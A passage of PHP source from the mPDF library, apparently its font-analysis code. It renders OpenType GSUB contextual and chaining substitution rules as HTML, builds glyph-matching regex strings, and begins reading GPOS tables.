$rule['SubstLookupRecord'][$b]['LookupListIndex']; $seqIndex = $rule['SubstLookupRecord'][$b]['SequenceIndex']; // GENERATE exampleI[<seqIndex] .... exampleI[>seqIndex] $exB = ''; $exL = ''; if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { $exB .= $this->formatEntity($inputGlyphs[$ip]) . '‍'; } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { $exL .= $this->formatEntity($inputGlyphs[$ip]) . '‍'; } $exL .= '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGSUBarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 2: Class-based Context Glyph Substitution else { if ($SubstFormat == 2) { $html .= '<div class="lookuptypesub">Format 2: Class-based Context Glyph Substitution</div>'; foreach ($Lookup[$i]['Subtable'][$c]['SubClassSet'] as $inputClass => $cscs) { $html .= '<div class="rule">Input Class: ' . $inputClass . '</div>'; for ($cscrule = 0; $cscrule < $cscs['SubClassRuleCnt']; $cscrule++) { $html .= '<div class="rule">Rule: ' . $cscrule . '</div>'; $rule = $cscs['SubClassRule'][$cscrule]; $inputGlyphs = []; $inputGlyphs[0] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$inputClass]; if ($rule['InputGlyphCount'] > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $rule['InputGlyphCount']; $gcl++) { $classindex = $rule['Input'][$gcl]; $inputGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$classindex]; } } // Class 0 contains all the glyphs NOT in the other classes $class0excl = implode('|', $Lookup[$i]['Subtable'][$c]['InputClasses']); $exampleI = []; $html .= '<div class="context">CONTEXT: '; for ($ff = 0; $ff < count($inputGlyphs); $ff++) { if (!$inputGlyphs[$ff]) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> [NOT ' . $this->formatEntityStr($class0excl) . '] </span></div>'; $exampleI[] = '[NOT ' . $this->formatEntityFirst($class0excl) . ']'; } else { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } } $html .= '</div>'; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['LookupListIndex'][$b]; $seqIndex = $rule['SequenceIndex'][$b]; // GENERATE exampleI[<seqIndex] .... exampleI[>seqIndex] $exB = ''; $exL = ''; if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { if (!$inputGlyphs[$ip]) { $exB .= '[*]'; } else { $exB .= $this->formatEntityFirst($inputGlyphs[$ip]) . '‍'; } } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { if (!$inputGlyphs[$ip]) { $exL .= '[*]'; } else { $exL .= $this->formatEntityFirst($inputGlyphs[$ip]) . '‍'; } } $exL .= '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGSUBarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 3: Coverage-based Context Glyph Substitution p259 else { if ($SubstFormat == 3) { $html .= '<div class="lookuptypesub">Format 3: Coverage-based Context Glyph Substitution </div>'; // IgnoreMarks flag set on main Lookup table $inputGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs']; $CoverageInputGlyphs = implode('|', $inputGlyphs); $nInput = $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; $exampleI = []; $html .= '<div class="context">CONTEXT: '; for ($ff = 0; $ff < count($inputGlyphs); $ff++) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } $html .= '</div>'; for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubstCount']; $b++) { $lup = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['LookupListIndex']; $seqIndex = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['SequenceIndex']; // GENERATE exampleI[<seqIndex] .... exampleI[>seqIndex] $exB = ''; $exL = ''; if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { $exB .= $exampleI[$ip] . '‍'; } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { $exL .= $exampleI[$ip] . '‍'; } $exL .= '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGSUBarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } //print_r($Lookup[$i]); //print_r($volt[(count($volt)-1)]); exit; } // LookupType 6: Chaining Contextual Substitution Subtable else { if ($Lookup[$i]['Type'] == 6) { $html .= '<div class="lookuptype">LookupType 6: Chaining Contextual Substitution Subtable</div>'; // Format 1: Simple Chaining Context Glyph Substitution p255 if ($SubstFormat == 1) { $html .= '<div class="lookuptypesub">Format 1: Simple Chaining Context Glyph Substitution </div>'; for ($s = 0; $s < $Lookup[$i]['Subtable'][$c]['ChainSubRuleSetCount']; $s++) { // ChainSubRuleSet $subRule = []; $html .= '<div class="rule">Subrule Set: ' . $s . '</div>'; $firstInputGlyph = $Lookup[$i]['Subtable'][$c]['CoverageGlyphs'][$s]; // First input gyyph foreach ($Lookup[$i]['Subtable'][$c]['ChainSubRuleSet'][$s]['ChainSubRule'] as $rctr => $rule) { $html .= '<div class="rule">SubRule: ' . $rctr . '</div>'; // ChainSubRule $inputGlyphs = []; if ($rule['InputGlyphCount'] > 1) { $inputGlyphs = $rule['InputGlyphs']; } $inputGlyphs[0] = $firstInputGlyph; ksort($inputGlyphs); $nInput = count($inputGlyphs); if ($rule['BacktrackGlyphCount']) { $backtrackGlyphs = $rule['BacktrackGlyphs']; } else { $backtrackGlyphs = []; } if ($rule['LookaheadGlyphCount']) { $lookaheadGlyphs = $rule['LookaheadGlyphs']; } else { $lookaheadGlyphs = []; } $exampleB = []; $exampleI = []; $exampleL = []; $html .= '<div class="context">CONTEXT: '; for ($ff = count($backtrackGlyphs) - 1; $ff >= 0; $ff--) { $html .= '<div>Backtrack #' . $ff . ': <span class="unicode">' . $this->formatUniStr($backtrackGlyphs[$ff]) . '</span></div>'; $exampleB[] = $this->formatEntityFirst($backtrackGlyphs[$ff]); } for ($ff = 0; $ff < count($inputGlyphs); $ff++) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } for ($ff = 0; $ff < count($lookaheadGlyphs); $ff++) { $html .= '<div>Lookahead #' . $ff . ': <span class="unicode">' . $this->formatUniStr($lookaheadGlyphs[$ff]) . '</span></div>'; $exampleL[] = $this->formatEntityFirst($lookaheadGlyphs[$ff]); } $html .= '</div>'; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['LookupListIndex'][$b]; $seqIndex = $rule['SequenceIndex'][$b]; // GENERATE exampleB[n] exampleI[<seqIndex] .... exampleI[>seqIndex] exampleL[n] $exB = ''; $exL = ''; if (count($exampleB)) { $exB .= '<span class="backtrack">' . implode('‍', $exampleB) . '</span>'; } if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { $exB .= $this->formatEntity($inputGlyphs[$ip]) . '‍'; } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { $exL .= $this->formatEntity($inputGlyphs[$ip]) . '‍'; } $exL .= '</span>'; } if (count($exampleL)) { $exL .= '<span class="lookahead">' . implode('‍', $exampleL) . '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGSUBarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } if (count($subRule['rules'])) { $volt[] = $subRule; } } } } // Format 2: Class-based Chaining Context Glyph Substitution p257 else { if ($SubstFormat == 2) { $html .= '<div class="lookuptypesub">Format 2: Class-based Chaining Context Glyph Substitution </div>'; foreach ($Lookup[$i]['Subtable'][$c]['ChainSubClassSet'] as $inputClass => $cscs) { $html .= '<div class="rule">Input Class: ' . $inputClass . '</div>'; for ($cscrule = 0; $cscrule < $cscs['ChainSubClassRuleCnt']; $cscrule++) { $html .= '<div class="rule">Rule: ' . $cscrule . '</div>'; $rule = $cscs['ChainSubClassRule'][$cscrule]; // These contain classes of glyphs as strings // $Lookup[$i]['Subtable'][$c]['InputClasses'][(class)] e.g. 02E6|02E7|02E8 // $Lookup[$i]['Subtable'][$c]['LookaheadClasses'][(class)] // $Lookup[$i]['Subtable'][$c]['BacktrackClasses'][(class)] // These contain arrays of classIndexes // [Backtrack] [Lookahead] and [Input] (Input is from the second position only) $inputGlyphs = []; $inputGlyphs[0] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$inputClass]; if ($rule['InputGlyphCount'] > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $rule['InputGlyphCount']; $gcl++) { $classindex = $rule['Input'][$gcl]; $inputGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['InputClasses'][$classindex]; } } // Class 0 contains all the glyphs NOT in the other classes $class0excl = implode('|', $Lookup[$i]['Subtable'][$c]['InputClasses']); $nInput = $rule['InputGlyphCount']; if ($rule['BacktrackGlyphCount']) { for ($gcl = 0; $gcl < $rule['BacktrackGlyphCount']; $gcl++) { $classindex = $rule['Backtrack'][$gcl]; $backtrackGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['BacktrackClasses'][$classindex]; } } else { $backtrackGlyphs = []; } if ($rule['LookaheadGlyphCount']) { for ($gcl = 0; $gcl < $rule['LookaheadGlyphCount']; $gcl++) { $classindex = $rule['Lookahead'][$gcl]; $lookaheadGlyphs[$gcl] = $Lookup[$i]['Subtable'][$c]['LookaheadClasses'][$classindex]; } } else { $lookaheadGlyphs = []; } $exampleB = []; $exampleI = []; $exampleL = []; $html .= '<div class="context">CONTEXT: '; for ($ff = count($backtrackGlyphs) - 1; $ff >= 0; $ff--) { if (!$backtrackGlyphs[$ff]) { $html .= '<div>Backtrack #' . $ff . ': <span class="unchanged"> [NOT ' . $this->formatEntityStr($class0excl) . '] </span></div>'; $exampleB[] = '[NOT ' . $this->formatEntityFirst($class0excl) . ']'; } else { $html .= '<div>Backtrack #' . $ff . ': <span class="unicode">' . $this->formatUniStr($backtrackGlyphs[$ff]) . '</span></div>'; $exampleB[] = $this->formatEntityFirst($backtrackGlyphs[$ff]); } } for ($ff = 0; $ff < count($inputGlyphs); $ff++) { if (!$inputGlyphs[$ff]) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> [NOT ' . $this->formatEntityStr($class0excl) . '] </span></div>'; $exampleI[] = '[NOT ' . $this->formatEntityFirst($class0excl) . ']'; } else { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } } for ($ff = 0; $ff < count($lookaheadGlyphs); $ff++) { if (!$lookaheadGlyphs[$ff]) { $html .= '<div>Lookahead #' . $ff . ': <span class="unchanged"> [NOT ' . $this->formatEntityStr($class0excl) . '] </span></div>'; $exampleL[] = '[NOT ' . $this->formatEntityFirst($class0excl) . ']'; } else { $html .= '<div>Lookahead #' . $ff . ': <span class="unicode">' . $this->formatUniStr($lookaheadGlyphs[$ff]) . '</span></div>'; $exampleL[] = $this->formatEntityFirst($lookaheadGlyphs[$ff]); } } $html .= '</div>'; for ($b = 0; $b < $rule['SubstCount']; $b++) { $lup = $rule['LookupListIndex'][$b]; $seqIndex = $rule['SequenceIndex'][$b]; // GENERATE exampleB[n] exampleI[<seqIndex] .... exampleI[>seqIndex] exampleL[n] $exB = ''; $exL = ''; if (count($exampleB)) { $exB .= '<span class="backtrack">' . implode('‍', $exampleB) . '</span>'; } if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { if (!$inputGlyphs[$ip]) { $exB .= '[*]'; } else { $exB .= $this->formatEntityFirst($inputGlyphs[$ip]) . '‍'; } } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { if (!$inputGlyphs[$ip]) { $exL .= '[*]'; } else { $exL .= $this->formatEntityFirst($inputGlyphs[$ip]) . '‍'; } } $exL .= '</span>'; } if (count($exampleL)) { $exL .= '<span class="lookahead">' . implode('‍', $exampleL) . '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGSUBarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } } } //print_r($Lookup[$i]['Subtable'][$c]); exit; } // Format 3: Coverage-based Chaining Context Glyph Substitution p259 else { if ($SubstFormat == 3) { $html .= '<div class="lookuptypesub">Format 3: Coverage-based Chaining Context Glyph Substitution </div>'; // IgnoreMarks flag set on main Lookup table $inputGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageInputGlyphs']; $CoverageInputGlyphs = implode('|', $inputGlyphs); $nInput = $Lookup[$i]['Subtable'][$c]['InputGlyphCount']; if ($Lookup[$i]['Subtable'][$c]['BacktrackGlyphCount']) { $backtrackGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageBacktrackGlyphs']; } else { $backtrackGlyphs = []; } if ($Lookup[$i]['Subtable'][$c]['LookaheadGlyphCount']) { $lookaheadGlyphs = $Lookup[$i]['Subtable'][$c]['CoverageLookaheadGlyphs']; } else { $lookaheadGlyphs = []; } $exampleB = []; $exampleI = []; $exampleL = []; $html .= '<div class="context">CONTEXT: '; for ($ff = count($backtrackGlyphs) - 1; $ff >= 0; $ff--) { $html .= '<div>Backtrack #' . $ff . ': <span class="unicode">' . $this->formatUniStr($backtrackGlyphs[$ff]) . '</span></div>'; $exampleB[] = $this->formatEntityFirst($backtrackGlyphs[$ff]); } for ($ff = 0; $ff < count($inputGlyphs); $ff++) { $html .= '<div>Input #' . $ff . ': <span class="unchanged"> ' . $this->formatEntityStr($inputGlyphs[$ff]) . ' </span></div>'; $exampleI[] = $this->formatEntityFirst($inputGlyphs[$ff]); } for ($ff = 0; $ff < count($lookaheadGlyphs); $ff++) { $html .= '<div>Lookahead #' . $ff . ': <span class="unicode">' . $this->formatUniStr($lookaheadGlyphs[$ff]) . '</span></div>'; $exampleL[] = $this->formatEntityFirst($lookaheadGlyphs[$ff]); } $html .= '</div>'; for ($b = 0; $b < $Lookup[$i]['Subtable'][$c]['SubstCount']; $b++) { $lup = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['LookupListIndex']; $seqIndex = $Lookup[$i]['Subtable'][$c]['SubstLookupRecord'][$b]['SequenceIndex']; // GENERATE exampleB[n] exampleI[<seqIndex] .... exampleI[>seqIndex] exampleL[n] $exB = ''; $exL = ''; if (count($exampleB)) { $exB .= '<span class="backtrack">' . implode('‍', $exampleB) . '</span>'; } if ($seqIndex > 0) { $exB .= '<span class="inputother">'; for ($ip = 0; $ip < $seqIndex; $ip++) { $exB .= $exampleI[$ip] . '‍'; } $exB .= '</span>'; } if (count($inputGlyphs) > ($seqIndex + 1)) { $exL .= '<span class="inputother">'; for ($ip = $seqIndex + 1; $ip < count($inputGlyphs); $ip++) { $exL .= $exampleI[$ip] . '‍'; } $exL .= '</span>'; } if (count($exampleL)) { $exL .= '<span class="lookahead">' . implode('‍', $exampleL) . '</span>'; } $html .= '<div class="sequenceIndex">Substitution Position: ' . $seqIndex . '</div>'; $lul2 = [$lup => $tag]; // Only apply if the (first) 'Replace' glyph from the // Lookup list is in the [inputGlyphs] at ['SequenceIndex'] // Pass $inputGlyphs[$seqIndex] e.g. 00636|00645|00656 // to level 2 and only apply if first Replace glyph is in this list $html .= $this->_getGSUBarray($Lookup, $lul2, $scripttag, 2, $inputGlyphs[$seqIndex], $exB, $exL); } } } } } } } } } } } $html .= '</div>'; } if ($level == 1) { $this->mpdf->WriteHTML($html); } else { return $html; } //print_r($Lookup); exit; } //===================================================================================== //===================================================================================== // mPDF 5.7.1 function _checkGSUBignore($flag, $glyph, $MarkFilteringSet) { $ignore = false; // Flag & 0x0008 = Ignore Marks if ((($flag & 0x0008) == 0x0008) && strpos($this->GlyphClassMarks, $glyph)) { $ignore = true; } if ((($flag & 0x0004) == 0x0004) && strpos($this->GlyphClassLigatures, $glyph)) { $ignore = true; } if ((($flag & 0x0002) == 0x0002) && strpos($this->GlyphClassBases, $glyph)) { $ignore = true; } // Flag & 0xFF?? = MarkAttachmentType if (($flag & 0xFF00) && strpos($this->MarkAttachmentType[($flag >> 8)], $glyph)) { $ignore = true; } // Flag & 0x0010 = UseMarkFilteringSet if (($flag & 0x0010) && strpos($this->MarkGlyphSets[$MarkFilteringSet], $glyph)) { $ignore = true; } return $ignore; } function _getGSUBignoreString($flag, $MarkFilteringSet) { // If ignoreFlag set, combine all ignore glyphs into -> "((?:(?: FBA1| FBA2| FBA3))*)" // else "()" // for Input - set on secondary Lookup table if in Context, and set Backtrack and Lookahead on Context Lookup $str = ""; $ignoreflag = 0; // Flag & 0xFF?? = MarkAttachmentType if ($flag & 0xFF00) { $MarkAttachmentType = $flag >> 8; $ignoreflag = $flag; //$str = $this->MarkAttachmentType[$MarkAttachmentType]; $str = "MarkAttachmentType[" . $MarkAttachmentType . "] "; } // Flag & 0x0010 = UseMarkFilteringSet if ($flag & 0x0010) { throw new \Mpdf\MpdfException("This font " . $this->fontkey . " contains MarkGlyphSets"); $str = "Mark Glyph Set: "; $str .= $this->MarkGlyphSets[$MarkFilteringSet]; } // If Ignore Marks set, supercedes any above // Flag & 0x0008 = Ignore Marks if (($flag & 0x0008) == 0x0008) { $ignoreflag = 8; //$str = $this->GlyphClassMarks; $str = "Mark Glyphs "; } // Flag & 0x0004 = Ignore Ligatures if (($flag & 0x0004) == 0x0004) { $ignoreflag += 4; if ($str) { $str .= "|"; } //$str .= $this->GlyphClassLigatures; $str .= "Ligature Glyphs "; } // Flag & 0x0002 = Ignore BaseGlyphs if (($flag & 0x0002) == 0x0002) { $ignoreflag += 2; if ($str) { $str .= "|"; } //$str .= $this->GlyphClassBases; $str .= "Base Glyphs "; } if ($str) { return $str; } else { return ""; } } // GSUB Patterns /* BACKTRACK INPUT LOOKAHEAD ================================== ================== ================================== (FEEB|FEEC)(ign) ¦(FD12|FD13)(ign) ¦(0612)¦(ign) (0613)¦(ign) (FD12|FD13)¦(ign) (FEEB|FEEC) ---------------- ---------------- ----- ------------ --------------- --------------- Backtrack 1 Backtrack 2 Input 1 Input 2 Lookahead 1 Lookahead 2 -------- --- --------- --- ---- --- ---- --- --------- --- ------- \${1} \${2} \${3} \${4} \${5+} \${6+} \${7+} \${8+} nBacktrack = 2 nInput = 2 nLookahead = 2 nBsubs = 2xnBack nIsubs = (nBsubs+) nLsubs = (nBsubs+nIsubs+) 2xnLookahead "\${1}\${2} " (nInput*2)-1 "\${5+} \${6+}" "REPL" ¦\${1}\${2} ¦\${3}\${4} ¦REPL¦\${5+} \${6+}¦\${7+} \${8+}¦ INPUT nInput = 5 ============================================================ ¦(0612)¦(ign) (0613)¦(ign) (0614)¦(ign) (0615)¦(ign) (0615)¦ \${1} \${2} \${3} \${4} \${5} \${6} \${7} \${8} \${9} (All backreference numbers are + nBsubs) ----- ------------ ------------ ------------ ------------ Input 1 Input 2 Input 3 Input 4 Input 5 A====== SequenceIndex=1 ; Lookup match nGlyphs=1 B=================== SequenceIndex=1 ; Lookup match nGlyphs=2 C=============================== SequenceIndex=1 ; Lookup match nGlyphs=3 D======================= SequenceIndex=2 ; Lookup match nGlyphs=2 E===================================== SequenceIndex=2 ; Lookup match nGlyphs=3 F====================== SequenceIndex=4 ; Lookup match nGlyphs=2 All backreference numbers are + nBsubs A - "REPL\${2} \${3}\${4} \${5}\${6} \${7}\${8} \${9}" B - "REPL\${2}\${4} \${5}\${6} \${7}\${8} \${9}" C - "REPL\${2}\${4}\${6} \${7}\${8} \${9}" D - "\${1} REPL\${2}\${4}\${6} \${7}\${8} \${9}" E - "\${1} REPL\${2}\${4}\${6}\${8} \${9}" F - "\${1}\${2} \${3}\${4} \${5} REPL\${6}\${8}" */ function _makeGSUBcontextInputMatch($inputGlyphs, $ignore, $lookupGlyphs, $seqIndex) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ // $inputGlyphs = array of glyphs(glyphstrings) making up Input sequence in Context // $lookupGlyphs = array of glyphs (single Glyphs) making up Lookup Input sequence $mLen = count($lookupGlyphs); // nGlyphs in the secondary Lookup match $nInput = count($inputGlyphs); // nGlyphs in the Primary Input sequence $str = ""; for ($i = 0; $i < $nInput; $i++) { if ($i > 0) { $str .= $ignore . " "; } if ($i >= $seqIndex && $i < ($seqIndex + $mLen)) { $str .= "" . $lookupGlyphs[($i - $seqIndex)] . ""; } else { $str .= "" . $inputGlyphs[($i)] . ""; } } return $str; } function _makeGSUBinputMatch($inputGlyphs, $ignore) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(0612)¦(ignore) (0613)¦(ignore) (0614)¦ // $inputGlyphs = array of glyphs(glyphstrings) making up Input sequence in Context // $lookupGlyphs = array of glyphs making up Lookup Input sequence - if applicable $str = ""; for ($i = 1; $i <= count($inputGlyphs); $i++) { if ($i > 1) { $str .= $ignore . " "; } $str .= "" . $inputGlyphs[($i - 1)] . ""; } return $str; } function _makeGSUBbacktrackMatch($backtrackGlyphs, $ignore) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(FEEB|FEEC)(ignore) ¦(FD12|FD13)(ignore) ¦ // $backtrackGlyphs = array of glyphstrings making up Backtrack sequence // 3 2 1 0 // each item being e.g. E0AD|E0AF|F1FD $str = ""; for ($i = (count($backtrackGlyphs) - 1); $i >= 0; $i--) { $str .= "" . $backtrackGlyphs[$i] . " " . $ignore . " "; } return $str; } function _makeGSUBlookaheadMatch($lookaheadGlyphs, $ignore) { // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // Returns e.g. ¦(ignore) (FD12|FD13)¦(ignore) (FEEB|FEEC)¦ // $lookaheadGlyphs = array of glyphstrings making up Lookahead sequence // 0 1 2 3 // each item being e.g. E0AD|E0AF|F1FD $str = ""; for ($i = 0; $i < count($lookaheadGlyphs); $i++) { $str .= $ignore . " " . $lookaheadGlyphs[$i] . ""; } return $str; } function _makeGSUBinputReplacement($nInput, $REPL, $ignore, $nBsubs, $mLen, $seqIndex) { // Returns e.g. "REPL\${6}\${8}" or "\${1}\${2} \${3} REPL\${4}\${6}\${8} \${9}" // $nInput nGlyphs in the Primary Input sequence // $REPL replacement glyphs from secondary lookup // $ignore = "((?:(?: FBA1| FBA2| FBA3))*)" or "()" // $nBsubs Number of Backtrack substitutions (= 2x Number of Backtrack glyphs) // $mLen nGlyphs in the secondary Lookup match - if no secondary lookup, should=$nInput // $seqIndex Sequence Index to apply the secondary match if ($ignore == "()") { $ign = false; } else { $ign = true; } $str = ""; if ($nInput == 1) { $str = $REPL; } else { if ($nInput > 1) { if ($mLen == $nInput) { // whole string replaced $str = $REPL; if ($ign) { // for every nInput over 1, add another replacement backreference, to move IGNORES after replacement for ($x = 2; $x <= $nInput; $x++) { $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } } } else { // if only part of string replaced: for ($x = 1; $x < ($seqIndex + 1); $x++) { if ($x == 1) { $str .= '\\' . ($nBsubs + 1); } else { if ($ign) { $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } $str .= ' \\' . ($nBsubs + 1 + (2 * ($x - 1))); } } if ($seqIndex > 0) { $str .= " "; } $str .= $REPL; if ($ign) { for ($x = (max(($seqIndex + 1), 2)); $x < ($seqIndex + 1 + $mLen); $x++) { // move IGNORES after replacement $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } } for ($x = ($seqIndex + 1 + $mLen); $x <= $nInput; $x++) { if ($ign) { $str .= '\\' . ($nBsubs + (2 * ($x - 1))); } $str .= ' \\' . ($nBsubs + 1 + (2 * ($x - 1))); } } } } return $str; } ////////////////////////////////////////////////////////////////////////////////// function _getCoverage($convert2hex = true) { $g = []; $CoverageFormat = $this->read_ushort(); if ($CoverageFormat == 1) { $CoverageGlyphCount = $this->read_ushort(); for ($gid = 0; $gid < $CoverageGlyphCount; $gid++) { $glyphID = $this->read_ushort(); if ($convert2hex) { $g[] = unicode_hex($this->glyphToChar[$glyphID][0]); } else { $g[] = $glyphID; } } } if ($CoverageFormat == 2) { $RangeCount = $this->read_ushort(); for ($r = 0; $r < $RangeCount; $r++) { $start = $this->read_ushort(); $end = $this->read_ushort(); $StartCoverageIndex = $this->read_ushort(); // n/a for ($gid = $start; $gid <= $end; $gid++) { $glyphID = $gid; if ($convert2hex) { $g[] = unicode_hex($this->glyphToChar[$glyphID][0]); } else { $g[] = $glyphID; } } } } return $g; } ////////////////////////////////////////////////////////////////////////////////// function _getClasses($offset) { $this->seek($offset); $ClassFormat = $this->read_ushort(); $GlyphByClass = []; if ($ClassFormat == 1) { $StartGlyph = $this->read_ushort(); $GlyphCount = $this->read_ushort(); for ($i = 0; $i < $GlyphCount; $i++) { $startGlyphID = $StartGlyph + $i; $endGlyphID = $StartGlyph + $i; $class = $this->read_ushort(); for ($g = $startGlyphID; $g <= $endGlyphID; $g++) { if ($this->glyphToChar[$g][0]) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$g][0]); } } } } else { if ($ClassFormat == 2) { $tableCount = $this->read_ushort(); for ($i = 0; $i < $tableCount; $i++) { $startGlyphID = $this->read_ushort(); $endGlyphID = $this->read_ushort(); $class = $this->read_ushort(); for ($g = $startGlyphID; $g <= $endGlyphID; $g++) { if ($this->glyphToChar[$g][0]) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$g][0]); } } } } } $gbc = []; foreach ($GlyphByClass as $class => $garr) { $gbc[$class] = implode('|', $garr); } return $gbc; } ////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////// function _getGPOStables() { /////////////////////////////////// // GPOS - Glyph Positioning /////////////////////////////////// if (isset($this->tables["GPOS"])) { $this->mpdf->WriteHTML('<h1>GPOS Tables</h1>'); $ffeats = []; $gpos_offset = $this->seek_table("GPOS"); $this->skip(4); $ScriptList_offset = $gpos_offset + $this->read_ushort(); $FeatureList_offset = $gpos_offset + $this->read_ushort(); $LookupList_offset = $gpos_offset + $this->read_ushort(); // ScriptList $this->seek($ScriptList_offset); $ScriptCount = $this->read_ushort(); for ($i = 0; $i < $ScriptCount; $i++) { $ScriptTag = $this->read_tag(); // = "beng", "deva" etc. $ScriptTableOffset = $this->read_ushort(); $ffeats[$ScriptTag] = $ScriptList_offset + $ScriptTableOffset; } // Script Table foreach ($ffeats as $t => $o) { $ls = []; $this->seek($o); $DefLangSys_offset = $this->read_ushort(); if ($DefLangSys_offset > 0) { $ls['DFLT'] = $DefLangSys_offset + $o; } $LangSysCount = $this->read_ushort(); for ($i = 0; $i < $LangSysCount; $i++) { $LangTag = $this->read_tag(); // = $LangTableOffset = $this->read_ushort(); $ls[$LangTag] = $o + $LangTableOffset; } $ffeats[$t] = $ls; } // Get FeatureIndexList // LangSys Table - from first listed langsys foreach 